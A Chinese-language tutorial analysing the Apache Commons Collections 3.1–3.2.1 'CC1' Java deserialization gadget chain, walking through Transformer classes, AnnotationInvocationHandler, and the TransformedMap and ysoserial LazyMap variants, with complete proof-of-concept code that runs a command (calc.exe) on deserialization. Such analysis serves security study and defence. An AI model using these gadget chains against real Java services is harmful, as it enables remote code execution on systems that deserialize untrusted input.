CC1的影响范围为Apache Commons Collections 3.1至3.2.1,需要提前引入对应版本的jar包。
CommonsCollections1成因
这里从p牛简化过的代码来看CC1的成因
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class CommonCollections1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"C:\\Windows\\System32\\calc.exe"}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); outerMap.put("test", "xxxx"); } }
|
执行上述代码,可以成功的在本地弹出计算器
![image]()
代码里面涉及到了apache.commons.collections
中的一些类,先来了解一下这些类。
Transformer
是一个接口,只有一个待实现的方法
1 2 3 4 5
| package org.apache.commons.collections;
public interface Transformer { Object transform(Object var1); }
|
看一下都有那些类实现了该接口
![image]()
ConstantTransformer
实现了Transformer
和Serializable
接口
看一下其内部方法:
getInstance(Object constantToReturn)
方法返回ConstantTransformer
类的实例
ConstantTransformer(Object constantToReturn)
为构造方法。获取传递进来的对象,并存储在类中
transform(Object input)
和getConstant()
将构造函数的参数对象返回出去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package org.apache.commons.collections.functors;
import java.io.Serializable; import org.apache.commons.collections.Transformer;
public class ConstantTransformer implements Transformer, Serializable { static final long serialVersionUID = 6374440726369055124L; public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null); private final Object iConstant;
public static Transformer getInstance(Object constantToReturn) { return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn)); }
public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; }
public Object transform(Object input) { return this.iConstant; }
public Object getConstant() { return this.iConstant; } }
|
简单来说ConstantTransformer
对对象做了一层封装。
InvokerTransformer
是实现了Transformer
接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序列化能执⾏任意代码的关键。
其内部方法:getInstance()
为获取类实例,transform()
用来执行命令
构造方法存在两个函数重载。这里我们主要看:InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)
构造方法需要传入三个参数:调用的函数名、函数所需参数类型、传递给函数的参数
1 2 3 4 5
| public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }
|
transform()
就是很标准的反射。根据获取的对象调用相应的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } }
|
主要看transform()
方法,将传递进来的object
放到实现transformer
接口的类中执行,生成新的object
,再交给下一个类去执行。
1 2 3 4 5 6 7
| public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); }
return object; }
|
TransformedMap
的作用是对HashMap
进行修饰。用来在存入HashMap
之前对key
和value
进行操作。
decorate()
方法是返回类实例,因为该类构造方法为protect
修饰。第二个参数和第三个参数为key
和value
的修饰器。
1 2 3
| public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }
|
1 2 3 4 5
| protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }
|
当调用put()
方法时,会对传入的key
和value
,分别使用各自的修饰器进行修饰。
1 2 3 4 5
| public Object put(Object key, Object value) { key = this.transformKey(key); value = this.transformValue(value); return this.getMap().put(key, value); }
|
1 2 3 4 5 6 7
| protected Object transformKey(Object object) { return this.keyTransformer == null ? object : this.keyTransformer.transform(object); }
protected Object transformValue(Object object) { return this.valueTransformer == null ? object : this.valueTransformer.transform(object); }
|
举个例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap; import java.util.Map;
public class test { public static void main(String[] args) { Map<String,String> map=new HashMap<>(); Map transformedMap=TransformedMap.decorate(map, new Transformer() { @Override public Object transform(Object o) { return o.toString().toUpperCase(); } }, new Transformer() { @Override public Object transform(Object o) { return o.toString().toUpperCase(); } }); transformedMap.put("key","value"); System.out.println(transformedMap.get("KEY")); } }
|
在这个例子中,创建TransformedMap
对HashMap
进行修饰。在调用decorate()
方法时,key
修饰器和value
修饰器均使用匿名类的方法创建。
当执行put()
方法时,会将传入的key
和value
分别放入各自的修饰器中做大写处理。
![image]()
认识完各个类,我们将上面的代码逻辑捋一下:
- 当执行
outerMap.put("test", "xxxx");
时,test
和xxxx
会分别调用keyTransformer
和valueTransformer
的transform()
进行修饰
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
这里可以看到valueTransformer
为transformerChain
transformerChain
的transform()
方法将xxxx
按顺序给ConstantTransformer
和InvokerTransformer
的transform()
方法执行
ConstantTransformer
的transform()
返回Runtime
实例化对象
InvokerTransformer
的transform()
利用反射机制,执行Runtime
对象的exec
方法来实现命令执行
构造CommonsCollections1
前面代码的核心便是outerMap.put("test", "xxxx")
,只有执行该操作时才可以调用整个链。因此如果想在反序列化时使用CC1,需要寻找一个类,该类的readObject()
方法存在TransformedMap.put()
或与其类似的操作。这里与其类似的操作是指什么呢?我们可以看一下TransformedMap
中,是否存在其他方法调用了keyTransformer
或valueTransformer
?这里找到了checkSetValue
。
1 2 3
| protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); }
|
为了反序列化时实现CC1,我们引入一个新的类AnnotationInvocationHandler
AnnotationInvocationHandler
sun.reflect.annotation.AnnotationInvocationHandler
该类为JDK内置类,且并未使用public进行修饰,因此仅能利用反射机制来使用该类。
需要注意的是JDK版本应小于8u71,8u71之后对该类做了一些修改,这里使用的是JDK8u66.
readObject()
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null;
try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); }
Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) { Map.Entry var5 = (Map.Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } }
}
|
先来看一下这段代码主要干了什么。
代码中的this.type
和this.memberValues
可以看一下构造函数。type
为继承了Annotation
类的类对象,memberValue
为传进来的Map
1 2 3 4 5 6 7 8 9
| AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) { this.type = var1; this.memberValues = var2; } else { throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); } }
|
var2 = AnnotationType.getInstance(this.type)
用于获取注解类型的 AnnotationType
对象。AnnotationType
是 Java 反射 API 中的一个类,它代表了一个注解类型的元数据信息。通过 AnnotationType
对象,可以获取注解类型的名称、成员方法、默认值等相关信息。
Map var3 = var2.memberTypes();
用来获取注解类中的成员对象,成员对象名为key
,成员类型为value
举例如下:
![image]()
上述代码存在注解类MyAnnotation
,通过AnnotationType.getInstance(MyAnnotation.class)
拿到了AnnotationType
类。再通过AnnotationType.memberTypes()
拿到了注解类中的成员对象,这里返回的是Map
,成员对象名为key
,成员类型为value
。放到readObject()
方法里,便是获取传递进来的第一个参数对应的注释解的成员变量。
Iterator var4 = this.memberValues.entrySet().iterator()
前面我们提到this.memberValues
为传递进来的Map
。Map.entrySet().iterator()
是一个方法调用序列,用于获取映射的键值对视图的迭代器。通过调用 entrySet()
方法获取键值对视图,然后使用 iterator()
方法获取迭代器,我们可以对键值对进行迭代和访问。举例如下:
![image]()
放到readObject()
里,便是通过迭代访问传递进来的第二个参数Map
的key
和value
最后再看代码中的while
循环(var3
和var5
是两个不同的Map
,一个为注解类成员变量Map
,一个为传递进来的参数Map
):
1 2 3 4 5 6 7 8 9 10 11
| while(var4.hasNext()) { Map.Entry var5 = (Map.Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } }
|
String var6 = (String)var5.getKey()
:从传递进来的参数Map
中获取key
Class var7 = (Class)var3.get(var6)
:从注解类成员变量Map
中获取key
对应值的类型
if (var7 != null)
:若key
对应的值的类型不为空,则代表key
是注解类的成员变量
Object var8 = var5.getValue()
:从传递进来的参数Map
中获取value
!var7.isInstance(var8)
若value
的类型和从注解Map
中获取的类型不相同,则对传进来的参数Map
重新赋值
setValue(...)
是这段代码的核心。当AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2)
构造方法第二个参数为TransformedMap
时,var5.setValue()
会调用TransformedMap.chechSetValue()
方法。我们来捋一下这个调用的过程。
- 我们在构造方法中传递进来的第二个参数为
TransformedMap
,此时this.memberValues
为TransformedMap
Iterator var4 = this.memberValues.entrySet().iterator();
此处先调用entrySet()
方法,但是TransformedMap
并没有该方法,因此调用的是其父类AbstractInputCheckedMapDecorator
的entrySet()
1 2 3 4 5 6 7
| protected boolean isSetValueChecking() { return true; }
public Set entrySet() { return (Set)(this.isSetValueChecking() ? new EntrySet(super.map.entrySet(), this) : super.map.entrySet()); }
|
这里实际上执行的是new EntrySet(super.map.entrySet(), this)
,EntrySet()
为AbstractInputCheckedMapDecorator
的内置类。
![image]()
构造方法是执行了EntrySet
父类的构造方法,并将自己的成员变量parent
赋值为AbstractInputCheckedMapDecorator
类。在往后我们先不分析。回到this.memberValues.entrySet().iterator()
,iterator()
为EntrySet
下面的方法,返回了EntrySetIterator
类。![image]()
EntrySetIterator
同样是AbstractInputCheckedMapDecorator
的内置类。构造方法也与EntrySet
类似。该内置类的parent
成员变量也是AbstractInputCheckedMapDecorator
![image]()
Map.Entry var5 = (Map.Entry)var4.next();
再往后看,这里的next()
方法为EntrySetIterator
类的next()
方法
![image]()
返回的是MapEntry
类,该类与同样是内置类。其他的与上面两个内置类相似
![image]()
var5.setValue(...)
这里调用的是MapEntry
的setValue()
方法。
1 2 3 4
| public Object setValue(Object value) { value = this.parent.checkSetValue(value); return super.entry.setValue(value); }
|
这里对value
值做了处理,this.parent
为AbstractInputCheckedMapDecorator
。看一下checkSetValue()
方法
1
| protected abstract Object checkSetValue(Object var1);
|
发现这是一个抽象方法,没有具体的实现过程。但是在上面我们提到过TransformedMap
中实现了该方法。因此这里实际调用的是TransformedMap.checkSetValue
1 2 3
| protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); }
|
到这里我们就知道readObject()
中setValue()
是如何调用TransformedMap.chechSetValue()
的了。
在反序列化时执行AnnotationInvocationHandler.readObject()
再配合上我们精心构造的Transformer
便可以进行命令执行。
构造CommonsCollections1
结合前面讲的内容,构造代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| package org.example;
import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.map.TransformedMap; import sun.reflect.annotation.*;
import java.io.*; import java.lang.annotation.*; import java.lang.reflect.AnnotatedElement; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map;
public class test { public static void main(String[] args) throws Exception { File file = new File("./a.txt"); try { file.createNewFile(); } catch (IOException e) { e.printStackTrace(); } FileOutputStream fileOutputStream = new FileOutputStream(file); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); FileInputStream fileInputStream = new FileInputStream(file); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"C:\\Windows\\System32\\calc.exe"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); Map innerMap=new HashMap<>(); Map transformedMap= TransformedMap.decorate(innerMap,null,chainedTransformer); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object object = constructor.newInstance(Retention.class,transformedMap); objectOutputStream.writeObject(object); Object o=objectInputStream.readObject(); } }
|
执行这段代码会发现报错
![image]()
原因是new ConstantTransformer(Runtime.getRuntime())
里的参数是Runtime
实例,Runtime
没有实现Serializable
接口,因此不能反序列化。
解决方法就是将整个实例化的过程放到ChainedTransformer.transform()
流程中,如下:
1 2 3 4 5 6 7
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"C:\\Windows\\System32\\calc.exe"}) };
|
这里传入的参数换成了Runtime.class
,Class
类有实现Serializable
接口,因此可以序列化。
此时更改程序并执行,会发现经过反序列化之后并没有弹出计算器。并且查看源码会发现:
Object object = constructor.newInstance(Retention.class,transformedMap);
存在一个Retention.class
类对象。解释一下为什么没有弹计算器,以及Retention.class
是什么?
Retention
是Java中的注解类,其存在成员变量RetentionPolicy value()
![image]()
上面提到的流程里:从参数Map
里取的key
,同时出现在注解类成员变量Map
里,并且注解类Map
的类型与参数Map
的类型不同时才会执行setValue
![image]()
在我们的代码里,由注解类Rentention
生成的Map
为{value=class java.lang.annotation.RetentionPolicy}
,而传进的参数Map
并没有值,因此无法执行setValue()
。为了执行setValue()
,我们需要在Map
中存入名为value
的key
,且对应的value
类型不为java.lang.annotation.RetentionPolicy
因此最终的CC1如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| package org.example;
import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.map.TransformedMap; import sun.reflect.annotation.*;
import java.io.*; import java.lang.annotation.*; import java.lang.reflect.AnnotatedElement; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map;
public class test { public static void main(String[] args) throws Exception { File file = new File("./a.txt"); try { file.createNewFile(); } catch (IOException e) { e.printStackTrace(); } FileOutputStream fileOutputStream = new FileOutputStream(file); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); FileInputStream fileInputStream = new FileInputStream(file); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"C:\\Windows\\System32\\calc.exe"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); Map innerMap=new HashMap<>(); innerMap.put("value","aaaa"); Map transformedMap= TransformedMap.decorate(innerMap,null,chainedTransformer); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object object = constructor.newInstance(Retention.class,transformedMap); objectOutputStream.writeObject(object); Object o=objectInputStream.readObject(); } }
|
![image]()
ysoserial的LazyMap链
和我们上面构造的链不同,在ysoserial中使用的是LazyMap
而非TransformedMap
看一下ysoserial CommonsCollections1
是如何实现的(注:代码中的new ConstantTransformer(1)
并没有实际作用):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| public InvocationHandler getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return handler; }
|
在这里我们需要重点关注以下三行代码干了什么,很明显他们是反序列化的核心。逐行来进行分析
1 2 3
| final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
|
第一行:
LazyMap.decorate()
用来返回LazyMap
实例化对象。既然使用了LazyMap
替换TransformedMap
,那就说明在LazyMap
中存在某个方法,可以像TransformedMap.put()
和TransformedMap.checksetValue()
一样调用了ChainedTransformer.transform()
。
通过构造方法发现ChainedTransforme
变为了this.factory
1 2 3 4 5 6 7 8
| protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } else { this.factory = factory; } }
|
查看类中的方法发现LazyMap.get()
调用了ChainedTransformer.transform()
1 2 3 4 5 6 7 8 9
| public Object get(Object key) { if (!super.map.containsKey(key)) { Object value = this.factory.transform(key); super.map.put(key, value); return value; } else { return super.map.get(key); } }
|
也就是说在反序列化的时候,readObject()
方法通过某种方法调用了LazyMap.get()
第二行:
继续往下看final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
,跟一下该方法,发现实际调用的是Gadgets.createProxy()
,并且对map
调用了Gadgets.createMemoizedInvocationHandler()
1 2 3
| public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception { return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); }
|
看一下Gadgets.createMemoizedInvocationHandler()
1 2 3
| public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception { return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); }
|
这里的ANN_INV_HANDLER_CLASS
是sun.reflect.annotation.AnnotationInvocationHandler
![image]()
Reflections.getFirstCtor()
方法是在获取AnnotationInvocationHandler
的构造方法
1 2 3 4 5
| public static Constructor<?> getFirstCtor(final String name) throws Exception { final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; setAccessible(ctor); return ctor; }
|
实例化时传入的第一个参数Override.class
时Java中的注解类,和我们上面构造链时用的Retention.class
类似,不过Override
内部没有成员变量。
也就是说Gadgets.createMemoizedInvocationHandler()
将AnnotationInvocationHandler
进行了实例化,第一个参数为Override.class
,第二个参数为LazyMap
。
回来看Gadgets.createProxy()
1 2 3 4 5 6 7 8
| public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) { final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1); allIfaces[ 0 ] = iface; if ( ifaces.length > 0 ) { System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); } return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); }
|
iface
此时是Map.class
,iface.cast()
方法是将传递进来的实例化类再返回出去
1 2 3 4 5
| public T cast(Object obj) { if (obj != null && !isInstance(obj)) throw new ClassCastException(cannotCastMsg(obj)); return (T) obj; }
|
这里调用了Proxy.newProxyInstance(ClassLoader loader,Class<?>[] interfaces,InvocationHandler h)
方法,在Java中该方法用来生成动态代理类。关于动态代理的内容,以后再说。这里只需要知道由Proxy.newProxyInstance(...)
生成的代理类,在使用类中的方法时会调用第三个参数InvocationHandler h
中的invoke()
方法,而在这里的参数是实例化后的AnnotationInvocationHandler
。
我们看一下AnnotationInvocationHandler.invoke()
,发现其调用了LazyMap.get()
![image]()
简单来说,final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
这行代码生成了一个代理类mapProxy
,readObject()
调用代理类中的方法时,会调用AnnotationInvocationHandler.invoke()
,进一步调用LazyMap.get()
第三行:
再往后看代码是final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
。Gadgets.createMemoizedInvocationHandler()
上面已经分析过了:将AnnotationInvocationHandler
实例化,mapProxy
为实例化时的第二个参数。这里为什么又将AnnotationInvocationHandler
实例化一遍?并且根据ysoserial
后面的代码发现,实例化后的对象就是我们要序列化的对象。
为了方便将两个AnnotationInvocationHandler
进行区分,我们根据参数不同,将他们分别命名为AnnotationInvocationHandler_mapProxy
和AnnotationInvocationHandler_lazyMap
。AnnotationInvocationHandler_mapProxy
是我们进行序列化的。
反序列化时,会执行AnnotationInvocationHandler_mapProxy.readObject()
,进而调用mapProxy.entrySet()
,然后调用AnnotationInvocationHandler_lazyMap.invoke()
,最后调用lazyMap.get()
来执行任意命令。
![image]()
构造LazyMap CommonsCollections1
通过前面的分析,知道了LazyMap CommonsCollections1
的整个流程。我们尝试自己来使用LazyMap
写一下CC1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| package org.example;
import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap; import sun.reflect.annotation.*;
import java.io.*; import java.lang.annotation.*; import java.lang.reflect.AnnotatedElement; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; import java.util.logging.Handler;
public class test { public static void main(String[] args) throws Exception { File file = new File("./a.txt"); try { file.createNewFile(); } catch (IOException e) { e.printStackTrace(); } FileOutputStream fileOutputStream = new FileOutputStream(file); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); FileInputStream fileInputStream = new FileInputStream(file); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"C:\\Windows\\System32\\calc.exe"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); Map innerMap=new HashMap<>();
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Map lazyMap= LazyMap.decorate(innerMap,chainedTransformer); InvocationHandler aih = (InvocationHandler) constructor.newInstance(Override.class,lazyMap); Map aihProxy= (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},aih); InvocationHandler handler= (InvocationHandler) constructor.newInstance(Override.class,aihProxy); objectOutputStream.writeObject(handler); Object o=objectInputStream.readObject(); } }
|
可以发现顺利弹计算器,但是运行时产生的错误是为什么?这个确实没了解到。似乎牵扯到了代理里面
![image]()
总结
TransformedMap:
![image]()
LazyMap:
![image]()